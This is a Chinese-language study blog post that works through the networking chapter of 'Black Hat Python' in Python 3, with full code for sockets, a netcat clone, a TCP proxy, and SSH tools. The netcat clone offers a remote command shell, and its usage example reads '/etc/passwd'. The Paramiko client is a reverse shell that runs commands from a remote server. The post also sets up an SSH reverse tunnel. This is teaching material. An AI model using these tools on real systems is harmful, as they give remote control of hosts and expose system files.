python3黑帽子mbp版(第2章:網絡基礎)

寫在最前面的話:很早之前就想學python了,趁着買來了書,打算開始python學習之旅。先說下我的工具:使用的是sublime text3編輯器,主要使用的網站是廖雪峯老師
的網站,借鑑了很多ODboy博客中的知識點。
tcp客戶端

#!/usr/bin/env python3
# -*- code: utf-8 -*-

import socket
target_host="www.baidu.com"
target_port=80
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#AF_INET表示IPv4, socket.SOCK_STREAM 表示TCP協議
client.connect((target_host,target_port))
#參數是一個元祖,包含地址和端口號。
client.send(b"GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")
response=client.recv(4096)
print (response)
client.close

圖片.png

UDP客戶端

#!/usr/bin/env python3
# -*- code: utf-8 -*-
target_host="127.0.0.1"
target_port=12345
client=socket(AF_INET,SOCK_DGRAM)
client.sendto("BBC".encode("utf-8"),(target_host,target_port))
print(client.recvfrom(4096).decode("utf-8"))
client.close()

圖片.png

這兩個是客戶端是比較簡單的,只有簡單的連接功能,由於沒有找到合適的UDP客戶端,這裏直接監聽本機端口來連接。

TCP服務端

#!/usr/bin/env python3
#coding=utf8

from socket import *
from time import ctime
import os 
import threading


bufsize = 1024
addr = ('0.0.0.0',13140)
# 定義socket類型,網絡通信
server=socket(AF_INET,SOCK_STREAM)
server.bind(addr)
server.listen(5)
print("listening on",addr)

def handle_client(client_socket):
    request=client_socket.recv(1024)
    print("received:%s" %request)
    client_socket.send(bytes("ACK!".encode("utf-8")))
    client_socket.close()

while True:
# client是客戶端的socket對象,add是地址加端口,此client等於函數中的client_socket
    client,add1=server.accept()
    print("accpet connection from:%s:%d" %(add1[0],add1[1]))
# 用於線程化的args參數。線程應該是一個元組,所以應該是client,
    client_handle=threading.Thread(target=handle_client,args=(client,))
    client_handle.start()

這是連接服務端的代碼,跟tcp和udp客戶端有些小區別。

#coding=utf8
from socket import *

host="127.0.0.1"
port=13140
data=input("輸入要發送的信息:")
client=socket(AF_INET,SOCK_STREAM)
print("正在連接...")
client.connect((host,port))
client.send(data.encode("utf-8"))
print ("Connected from ",client.getsockname())    
print ("Connected to ",client.getpeername())
print(client.recv(4096).decode("utf-8"))

本地服務端:

圖片.png

本地客戶端:

圖片.png

取代netcat

#!/usr/bin/env python3
#coding=utf-8
import sys
from socket import *
import getopt  #用來處理命令行參數
import threading
import subprocess #啓動一個shell,並控制輸入輸出

#-e和-p有問題,mac下運行沒什麼問題,win下有問題,運行的命令會出現問題。
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0

def usage():
    print("netcat")
    print("Usage:nc_hacker.py -t target_host -p target_port")
    print("-l --listen                - listen on [host]:[port] for incoming connections")
    print("-e --execute=ile_to_run   - execute the given file upon receiving a connection")
    print("-c --command               - initialize a command shell")
    print("-u --upload=destination    - upon receiving connection upload a file and write to [destination]")
    print("Examples: ")
    print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")
    print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
    print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
    print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")
    sys.exit(0)
#主函數
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target
    #沒有輸入值就顯示菜單
    if not len(sys.argv[1:]):
        usage()
    try:
        #getopt模塊處理命令行,
        #h後面沒有冒號:表示後面不帶參數,p:和i:後面有冒號表示後面需要參數
        #help後面沒有等號=,表示後面不帶參數,有=,表示後面需要參數
        #返回值options是個包含元祖的列表,每個元祖是分析出來的格式信息,比如[('-i','127.0.0.1'),('-p','80')]
        #args 是個列表,包含那些沒有‘-’或‘--’的參數,比如:['55','66']
        opts,args=getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()    
    for o,a in opts:
        if o in("-h","--help"):
            usage()
        elif o in("-l","--listen"):
            listen=True            
        elif o in("-e","--execute"):
            execute=a
        elif o in("-c","--command"):
            command=True
        elif o in("-u","--upload"):
            upload_destination=a
        elif o in("-t","--target"):
            target=a
        elif o in("-p","--port"):
            port=int(a)
        else:
            print("unhandled option")
    # 從標準輸入中發送數據
    if not listen and len(target) and port > 0:
        # 讀取輸入的數據
        # 這裏將阻塞,發送ctrl-d使用
        buffer=input()#sys.stdin.read()
        # 發送數據
        client_sender(buffer)
    # 進行監聽
    if listen:
        print('the server is listening on %s:%d' %(target,port))
        server_loop()
# 客戶端代碼
def client_sender(buffer):
        client = socket(AF_INET, SOCK_STREAM)        
        try:
            print("start connecting...")
            client.connect((target,port))
            print("connected")
            #如果我們檢測到來自stdin的輸入。
            #如果不是,我們就等待用戶輸入。
            if len(buffer):
                client.send(buffer)
            while True:
                # 等待數據回傳
                recv_len = 1
                response = ""
                print("waiting response:")        
                while recv_len:
                    data     = client.recv(4096)
                    recv_len = len(data)
                    response+= data.decode("utf-8")
                    if recv_len < 4096:
                        break
                print(response,end="")
                # 等待更多輸入
                buffer = input("")
                buffer += "\n"                      
                client.send(buffer.encode("utf-8"))
        except:
                print("[*] Exception! Exiting.")
                # 斷開連接                  
                client.close()
# 服務端代碼
def server_loop():
        global target,port
        
        # 如果沒有定義目標,就監聽所有接口
        if not len(target):
            target = "0.0.0.0"        
        server = socket(AF_INET,SOCK_STREAM)
        server.bind((target,port))
        server.listen(5)

        while True:
            client_socket, addr = server.accept()
            # print(client_socket)<socket._socketobject object at 0x107552d00>        
            # 分出一個線程來處理新的客戶端
            client_thread = threading.Thread(target=client_handler,args=(client_socket,))
            client_thread.start()
# -c命令
def run_command(command):
        # 返回從字符串末尾刪除所有字符串的字符串(默認空白字符)的副本
        command = command.rstrip()
        # 運行命令並將輸出返回
        try:
            #subprocess.STDOUT是拋出異常。
            output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
        except:
            output = "Failed to execute command.\r\n"
        # 將輸出發送
        return output
# 處理傳入的客戶端連接
def client_handler(client_socket):
        global upload,execute,command
        # 檢測上傳文件
        if len(upload_destination):
                # 讀取所有的字節並寫入
                file_buffer = ""
                # 持續讀取數據直到沒有數據可用爲止,有問題
                while True:
                        data = client_socket.recv(1024)
                        if not data:
                                break
                        else:
                                file_buffer += data                
                # 現在我們取這些字節並試着把它們寫出來。
                try:
                        print('opening')
                        file_descriptor = open(upload_destination,"wb")
                        file_descriptor.write(file_buffer)
                        print('written') 
                        file_descriptor.close()
                        
                        # 確認文件是否上傳
                        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
                except:
                        client_socket.send("Failed to save file to %s\r\n" % upload_destination)
        # 檢查命令執行
        if len(execute):
                # 運行命令
                output = run_command(execute)
                client_socket.send(output)
        # 如果需要一個命令shell,那我們進入另一個循環,。
        if command:
                while True:
                        # 跳出一個窗口
                        client_socket.send(b"<netcat:#> ")
                        #現在我們接收文件直到發現換行符(enter key)
                        cmd_buffer = ""
                        while "\n" not in cmd_buffer:
                                cmd_buffer += client_socket.recv(1024).decode("utf-8")
                        # 返還命令輸出
                        response = run_command(cmd_buffer)
                        # 返回相應數據
                        client_socket.send(response)
if __name__=="__main__":
    main()

本地服務端:

圖片.png

本地客戶端:

圖片.png

切換到python3後,netcat中有很多功能不完善,後期有時間要優化一下。

創建一個TCP代理

#!/usr/bin/env python3
#coding=utf-8
import sys
from socket import *
import threading



# 16進制導出函數
def hexdump(src, length=16):
    result = []
    # 判讀輸入是否爲字符串    
    digits = 4 if isinstance(src, str) else 2
    for i in range(0, len(src), length):
       # 將字符串切片爲16個爲一組
       s = src[i:i+length]
       # 用16進制來輸出,x是digits的值,表示輸出寬度
       hexa = ' '.join(["%0*X" % (digits, (x))  for x in s])
       # 用來輸出原值
       text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.'  for x in s])
       #%-*s, 星號是length*(digits + 1)的值
       result.append( "%04X   %-*s   %s" % (i, length*(digits + 1), hexa, text) )
    print('\n'.join(result))
# 設置延時有問題,後續更改
def receive_from(connection):    
    buffer = b""
    # 設置5s延遲,connection=socket(AF_INET, SOCK_STREAM)
    connection.settimeout(5)
    try:
            # 保持數據的讀取直到沒有數據或超時
            while True:
                    data = connection.recv(4096)
                    if not data:
                            break
                    buffer += data        
    except:
        pass       
    return buffer

# 對目標主機的請求數據進行修改
def request_handler(buffer):
    return buffer

# 對返回本地主機的響應數據進行修改
def response_handler(buffer):
    return buffer

def proxy_handler(client_socket, target_host, target_port, receive_first):
        
        # 連接目標主機
        target_socket = socket(AF_INET, SOCK_STREAM)
        target_socket.connect((target_host,target_port))

        # 必要時從目標主機接收數據
        if receive_first:
            target_buffer = receive_from(target_socket)
            hexdump(target_buffer)
            # 發送給我們的響應處理程序
            target_buffer = response_handler(target_buffer)
            # 如果要發送數據給本地客戶端,發送它
            if len(target_buffer):
                print("[<==] Sending %d bytes to localhost." % len(target_buffer))
                client_socket.send(target_buffer)
                        
    # 現在我們從本地循環讀取數據,發送給遠程主機和本地主機
        while True:
            # 從本地讀取數據
            local_buffer = receive_from(client_socket)
            if len(local_buffer):    
                print("[==>] Received %d bytes from localhost." % len(local_buffer))
                hexdump(local_buffer)
                # 發送給我們的本地請求
                local_buffer = request_handler(local_buffer)
                # 發送數據給目標主機
                target_socket.send(local_buffer)
                print("[==>] Sent to target.")
            
            # 接收響應的數據
            target_buffer = receive_from(target_socket)

            if len(target_buffer):
                print("[<==] Received %d bytes from target." % len(target_buffer))
                hexdump(target_buffer)
                # 發送到響應處理函數
                target_buffer = response_handler(target_buffer)
                # 將響應發送給本地socket
                client_socket.send(target_buffer)
                print("[<==] Sent to localhost.")
            
            # 兩邊沒有數據了,就關閉連接
            if not len(local_buffer) or not len(target_buffer):
                client_socket.close()
                target_socket.close()
                print("[*] No more data. Closing connections.")
                break
        
def server_loop(local_host,local_port,target_host,target_port,receive_first):        
        server = socket(AF_INET, SOCK_STREAM)
        try:
                server.bind((local_host,local_port))
        except:
                print("[!!] Failed to listen on %s:%d" % (local_host,local_port))
                print("[!!] Check for other listening sockets or correct permissions.")
                sys.exit(0)
                
        print("[*] Listening on %s:%d" % (local_host,local_port))
        
        server.listen(5)        
        
        while True:
                client_socket, addr = server.accept()
                # 本地連接信息
                print("[==>] Received incoming connection from %s:%d" % (addr[0],addr[1]))
                # 開啓線程和目標主機通信
                proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,target_host,target_port,receive_first))
                proxy_thread.start()

def main():
    if len(sys.argv[1:]) != 5:
        print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]")
        print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)
    # 本地參數
    local_host  = sys.argv[1]
    local_port  = int(sys.argv[2])
    # 目標參數
    target_host = sys.argv[3]
    target_port = int(sys.argv[4])

    receive_first = sys.argv[5]
    
    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False
        
    # 開始監聽
    server_loop(local_host,local_port,target_host,target_port,receive_first)
main()

代理服務器:

圖片.png

本地客戶端連接:

圖片.png

這個16進制導出函數非常漂亮,花了很多時間在上面學習。

系統中處理數據都是unicode(也就是Python3中的str), 而傳輸數據用的都是UTF-8(Python3中bytes)

wireshark抓包的時候需要乾淨的主機(除了需要抓包的應用程序,其他的都不要),而TCP代理可以讓你看清楚單個的數據包,可以更好的幫助你瞭解未知的協議以及其他的信息。

通過Paramiko使用SSH

SSH服務端:

#!/usr/bin/env python3
# coding=utf-8
from socket import *
import paramiko
import threading
import sys

#http://freeloda.blog.51cto.com/2033581/1216176   
# 使用命令生成私鑰openssl genrsa -out rsa_private_key.pem 1024,經過抓包,發現是加密的
#http://www.jb51.net/article/70036.htm
host_key=paramiko.RSAKey(filename='rsa_private_key.pem')

class Server(paramiko.ServerInterface):
    def __init__(self):
        # 執行start_server()方法首先會觸發Event,如果返回成功,is_active返回True
        self.event=threading.Event()
    # 當認證成功,client會請求打開一個Channel
    def check_channel_request(self, kind, chanid):
        if kind=='session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    # 當is_active返回True,進入到認證階段
    def check_auth_password(self,username,password):
        if (username=='Star') and (password=='123'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED
    
server=sys.argv[1]
ssh_port=int(sys.argv[2])

# 建立服務端socket
try:
    sock = socket(AF_INET, SOCK_STREAM)
    # SOL_SOCKET    意思是正在使用的socket選項。  
    # SO_REUSEADDR  當socket關閉後,本地端用於該socket的端口號立刻就可以被重用
    # 1    表示將SO_REUSEADDR標記爲TRUE,操作系統會在服務器socket被關閉或服務器進程終止後馬上釋放該服務器的端口,否則操作系統會保留幾分鐘該端口。
    sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print('[+] Listening for connection ...')
    client, addr = sock.accept()
except Exception as e:
    print ('[-] Listen failed: ' + str(e))
    sys.exit(1)
print ('[+] Got a connection!')

try:
    # 用sock.accept()返回的socket實例化Transport
    bhSession = paramiko.Transport(client)
    # 添加一個RSA密鑰加密會話
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        # 啓動SSH服務端    
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print ('[-] SSH negotiation failed.')
    chan = bhSession.accept(20)     # 等待客戶端開啓通道,超時時間爲20s
    # accept(timeout=None)
    # Return the next channel opened by the client over this transport, in server mode. If no channel is opened before the given timeout, None is returned.
        # Parameters:   timeout (int) – seconds to wait for a channel, or None to wait forever
        # Returns:  a new Channel opened by the client
    # http://docs.paramiko.org/en/1.15/api/transport.html
    print ('[+] Authenticated!')
    print (chan.recv(1024))
    chan.send(b'Welcome to ssh')
    while True:
        try:
            command= input("Enter command: ").strip('\n')
            if command != 'exit':
                # 輸入值編碼
                chan.send(command.encode("utf-8"))
                # 接收值編碼
                print(chan.recv(1024).decode("utf-8") + '\n')
            else:
                chan.send(b'exit')
                print ('exiting')
                bhSession.close()
                #正常情況沒有輸出,這裏讓它報出異常
                raise Exception ('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print ('[-] Caught exception: ' + str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

ssh客戶端:

#!/usr/bin/env python3
#coding=utf-8

import threading
import paramiko
import subprocess

def ssh_command(ip,user,passwd,command):
    # 建立一個sshclient對象
    client = paramiko.SSHClient()
    # client.load_host_keys("路徑")
    # 允許將信任的主機自動加入到host_allow列表,此方法必須放在connect方法的前面
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # 連接服務器
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command.encode("utf-8"))
        # 輸出banner信息
        print(ssh_session.recv(1024).decode("utf-8"))
        while True:
            # 從服務端獲得命令
            command =ssh_session.recv(1024).decode("utf-8")
            try:
                cmd_output = subprocess.check_output(command,shell =True)
                ssh_session.send(cmd_output)
            except Exception as e:
                ssh_session.send(str(e).encode("utf-8"))
        client.close()
    return
    #如何讓command輸出字符串
ssh_command("192.168.3.110","Star","123","ClientConnected")

在本地我生成了一個私鑰,沒有生成公鑰,然後就可以祕鑰連接了:

openssl genrsa -out rsa_private_key.pem 2048

ssh客戶端:

圖片.png

ssh服務端:

圖片.png

我把服務端放在了我的Win10上,可以看到獲取到了mac上的shell。這裏是反向鏈接,是放在目標主機上的是客戶端。


ssh隧道

#!/usr/bin/env python3
#coding=utf-8

import paramiko
import sys
import socket
from optparse import OptionParser
import threading
import getpass
import os
import select

SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True

HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""

def get_host_port(spec, default_port):
    # 解析'主機名:22'到主機和端口,端口可選。
    args = (spec.split(':', 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]
# https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
def main():
    # 傳入參數,server指ssh服務器,remote指要連接的服務器
    # options,它是一個對象,保存有命令行參數值。知道命令行參數名,就可以訪問其對應的值:options.file
    options,server,remote = parse_options()
    password = None
    if options.readpass:
        password = getpass.getpass("Enter SSH password:")
    # 建立一個sshclient對象
    client = paramiko.SSHClient()
    # 加載本地的known_hosts文件,紀錄連到對方時,對方給的host key。每次連線時都會檢查
    # 目前對方給的host key與紀錄的host key是否相同,可以簡單驗證連結是否又被詐騙等相關事宜。
    client.load_system_host_keys()
    # 用ssh連接遠程主機時,第一次連接時會提示是否繼續進行遠程連接,選擇yes
    # 這裏主動幫你選上yes
    client.set_missing_host_key_policy(paramiko.WarningPolicy())
    
    verbose("Connecting to ssh host %s:%d ..." %(server[0], server[1]))

    try:
        client.connect(server[0],server[1],username = options.user,key_filename =\
        options.keyfile,look_for_keys = options.look_for_keys,password = password) 
    except Exception as e:
        print("*** Failed to connect to %s:%d:%r" %(server[0],server[1],e))
        sys.exit(1)
    
    verbose("Now forwarding remote port %d to %s:%d ..." %((options.port),\
        remote[0],remote[1]))
    
    try:
        #get_transport返回用於此目的的底層傳輸SSH連接。這可以被用於執行低級別的任務,如打開特定的通道。
        #client.get_transport=實例化transport
        reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
    except KeyboardInterrupt:
        print("C-c: Port forwarding stopped.")
        sys.exit(0)

def verbose(s):
    if g_verbose:
        print(s)

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    # request_port_forward  ==> 把端口數據的發送和接收通過新的傳輸通道轉發出去
    transport.request_port_forward("", server_port)   
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
        thr.setDaemon(True)
        thr.start()

def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
        return
    
    verbose("Connected!  Tunnel open %r -> %r -> %r" % (chan.origin_addr,\
        chan.getpeername(), (host, port)))

    while True:
        # http://www.cnblogs.com/alex3714/p/4372426.html
        # select通過單進程實現同時處理多個非阻塞的socket連接。
        # 可以爲系統底層中接收就緒一個消息後就會標註一個記號,我們讀取到記號後採取相應的動作。
        # 這裏實現了channel與sock的數據交換。
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    # 停止發送和接收數據
    chan.close()
    sock.close()
    verbose("Tunnel closed from %r" % (chan.origin_addr,))

def parse_options():
    global g_verbose
    # http://blog.csdn.net/cclarence/article/details/50964316
    # 解析命令行參數,dest的值是options點後面加的值
    parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
                          version='%prog 1.0', description=HELP)
    parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
                      help='squelch all informational output')
    parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
                      default=DEFAULT_PORT,
                      help='port on server to forward (default: %d)' % DEFAULT_PORT)
    parser.add_option('-u', '--user', action='store', type='string', dest='user',
                      default=getpass.getuser(),
                      help='username for SSH authentication (default: %s)' % getpass.getuser())
    parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
                      default=None,
                      help='private key file to use for SSH authentication')
    parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
                      help='don\'t look for or use a private key file')
    parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
                      help='read password (for key or password auth) from stdin')
    parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
                      help='remote host and port to forward to')
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error('Incorrect number of arguments.')
    if options.remote is None:
        parser.error('Remote address required (-r).')
    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)

if __name__ == '__main__':
    main()

路由器的登錄頁面

圖片.png

這裏是用mac連接kali的機子,然後在kali上查看路由器的登錄頁面。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章